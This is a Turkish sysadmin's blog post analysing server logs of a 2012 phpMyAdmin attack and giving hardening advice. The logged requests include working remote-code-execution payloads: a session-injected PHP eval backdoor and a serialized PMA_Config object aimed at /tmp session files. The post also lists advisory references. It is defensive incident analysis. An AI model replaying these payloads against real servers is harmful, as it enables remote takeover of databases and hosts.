Sunucular üzerindeki kayıt dosyaları, sistem yöneticilerinin en önemli bilgi kaynaklarından biridir. Bende bu bilgi kaynağına erişerek sistemde neler oluğ bittiğini anlamaya çalışırım.
Bu sabah sistem loglarını kontrol ederken, daha dumanı tüten PMA (PhpMyAdmin) güvenlik açıklarından yararlanılarak yapılan bir saldırının kayıtlarını gördüm.
PhpMyAdmin programının web sitelerinin bir alt dizini haline getirerek kullanılmasını uzun zamandan beri bırakmış durumdayım. PhpMyAdmin yeni başlayan arkadaşlar için MySQL veri tabanı tasarlanmasında ve yönetilmesinde çok yardımcı olabilir. Ama bu program sonradan insanın başına ciddi sorunlar açabilmektedir.
Bu saldırıyı yapan kişilerin Fransa üzerinden bu saldırıyı gerçekleştirdiklerini biliyorum. Sisteme bu saldırıyı yapan IP adresi Fransa' da ve sunucu olarak hizmet vermekte. Bu nedenle aşağıda açıklayacağım kayıt dosyası içerisinden bu IP adresini kaldırarak vereceğim..
Started GET "/pma/index.php" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
Processing by missing_page as HTML
Parameters: {"path"=>"pma/index.php"}
Completed 401 Unauthorized in 0ms
Started GET "/pma/setup/index.php" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
Processing by missing_page as
Parameters: {"path"=>"pma/setup/index.php"}
Completed 401 Unauthorized in 0ms
Started GET "/pma/scripts/setup.php" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
Processing by missing_page as HTML
Parameters: {"path"=>"pma/scripts/setup.php"}
Completed 401 Unauthorized in 0ms
Burada saldırgan' ın kullanmış olduğu saldırı programı(script) PMA' nın kurulum dizinlerinin varlığını, kurulum yapılmış ise kurulum dizinin varlığını arıyor.
Buradan çıkartılması gereken iki durum görünüyor. Eğer mutlaka PMA kullanmak istiyorsanız, PMA erişim dizinin ismini mutlaka değiştirmelisiniz. PMA yaptıktan sonra, lazım olur diye kurulum dizinini sunucu üzerinde bırakmamalı, silmelisiniz.
Daha sonra saldırı programı, OTURUM(SESSION) üzerinden PMA' ya saldırı yapıyor. Bu işlemi yaparken, PHP programla dilini, OTURUM içerisine gömerek kodu çalıştırıyor.
Started GET "/pma//?_SESSION[ConfigFile][Servers][*/foreach%28%24_GET+as+%24k%3D%3E%24v%29if%28%24k%3D%3D%3D%22eval%22%29eval%28%24v%29%3B/*][port]=0&session_to_unset=x&token=" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
Processing by show as
Parameters: {"_SESSION"=>{"ConfigFile"=>{"Servers"=>{"*/foreach($_GET as $k"=>">$v)if($k===\"eval\")eval($v);/*][port]=0"}}}, "session_to_unset"=>"x", "token"=>"", "id"=>"pma"}
Redirected to http://www.ustuntas.net/kayit_bulunamadi
Completed 302 Found in 94ms
Started GET "/pma/index.php?session_to_unset=123&token=&_SESSION[!bla]=%7Cxxx%7Ca%3A1%3A%7Bi%3A0%3BO%3A10%3A%22PMA_Config%22%3A1%3A%7Bs%3A6%3A%22source%22%3Bs%3A10%3A%22%2Ftmp%2Fsess_%22%3B%7D%7D" for SALDIRGAN_IP_ADRESI at 2012-03-14 08:11:00 +0000
Processing by missing_page as HTML
Parameters: {"session_to_unset"=>"123", "token"=>"", "_SESSION"=>{"!bla"=>"|xxx|a:1:{i:0;O:10:\"PMA_Config\":1:{s:6:\"source\";s:10:\"/tmp/sess_\";}}"}, "path"=>"pma/index.php"}
Completed 401 Unauthorized in 0ms
Burada dikkat edilmesi gereken nokta ise, sunucunuz üzerinde aktif oturumları /tmp dizini içerisinde saklamamanız. Bunun yerine farklı bir dizin oluşturup oturum bilgilerini o dizin içerisinde tutmalısınız. İlkinde, session_to_unset yaparak, yeni bir PMA oturumu açılmaya çalışılıyor. İkincisinde ise PMA_Config parametresini kullanarak /tmp/sess_ dosyaları üzerinden erişim yapılması için kod çalıştırılıyor.
Vakit bulduğumda devam edeceğiz..
Not: Burada anlatılanlar, sadece bir durum değerlendirmesidir. Bu duruma karşı nasıl korunulması gerektiğine dair bilgiler içermektedir. Burada ki bilgileri kullanarak yapılabilecek kötü niyetli davranışlar ve uygulamalar, tamamen yapanlara aittir. Bu yazıyı yazan ve sitede bulunduranları kesinlikle bağlamaz.
phpMyAdmin uzaktan kırılma güvenlik açığı
- BUGTRAQ:20110707 phpMyAdmin 3.x Multiple Remote Code Executions
- URL:http://www.securityfocus.com/archive/1/archive/1/518804/100/0/threaded
- EXPLOIT-DB:17514
- URL:http://www.exploit-db.com/exploits/17514/
- MLIST:[oss-security] 20110628 CVE Request: phpMyAdmin 3.4 Multiple Vulnerabilities
- URL:http://www.openwall.com/lists/oss-security/2011/06/28/2
- MLIST:[oss-security] 20110628 Re: CVE Request: phpMyAdmin 3.4 Multiple Vulnerabilities
- URL:http://www.openwall.com/lists/oss-security/2011/06/28/6
- MLIST:[oss-security] 20110628 Re: [Phpmyadmin-security] CVE Request: phpMyAdmin 3.4 Multiple Vulnerabilities
- URL:http://www.openwall.com/lists/oss-security/2011/06/28/8
- MLIST:[oss-security] 20110629 Re: CVE Request: phpMyAdmin 3.4 Multiple Vulnerabilities
- URL:http://www.openwall.com/lists/oss-security/2011/06/29/11
- MISC:http://ha.xxor.se/2011/07/phpmyadmin-3x-multiple-remote-code.html
- MISC:http://www.xxor.se/advisories/phpMyAdmin_3.x_Multiple_Remote_Code_Executions.txt
- CONFIRM:http://phpmyadmin.git.sourceforge.net/git/gitweb.cgi?p=phpmyadmin/phpmyadmin;a=commit;h=7ebd958b2bf59f96fecd5b3322bdbd0b244a7967
- CONFIRM:http://typo3.org/teams/security/security-bulletins/typo3-sa-2011-008/
- CONFIRM:http://www.phpmyadmin.net/home_page/security/PMASA-2011-5.php
- DEBIAN:DSA-2286
- URL:http://www.debian.org/security/2011/dsa-2286
- FEDORA:FEDORA-2011-9144
- URL:http://lists.fedoraproject.org/pipermail/package-announce/2011-July/062719.html
- MANDRIVA:MDVSA-2011:124
- URL:http://www.mandriva.com/security/advisories?name=MDVSA-2011:124
- OSVDB:73611
- URL:http://www.osvdb.org/73611
- SECUNIA:45139
- URL:http://secunia.com/advisories/45139
- SECUNIA:45292
- URL:http://secunia.com/advisories/45292
- SECUNIA:45315
- URL:http://secunia.com/advisories/45315
- SREASON:8306
- URL:http://securityreason.com/securityalert/8306
19 Mart 2012, Pazartesi, 12:08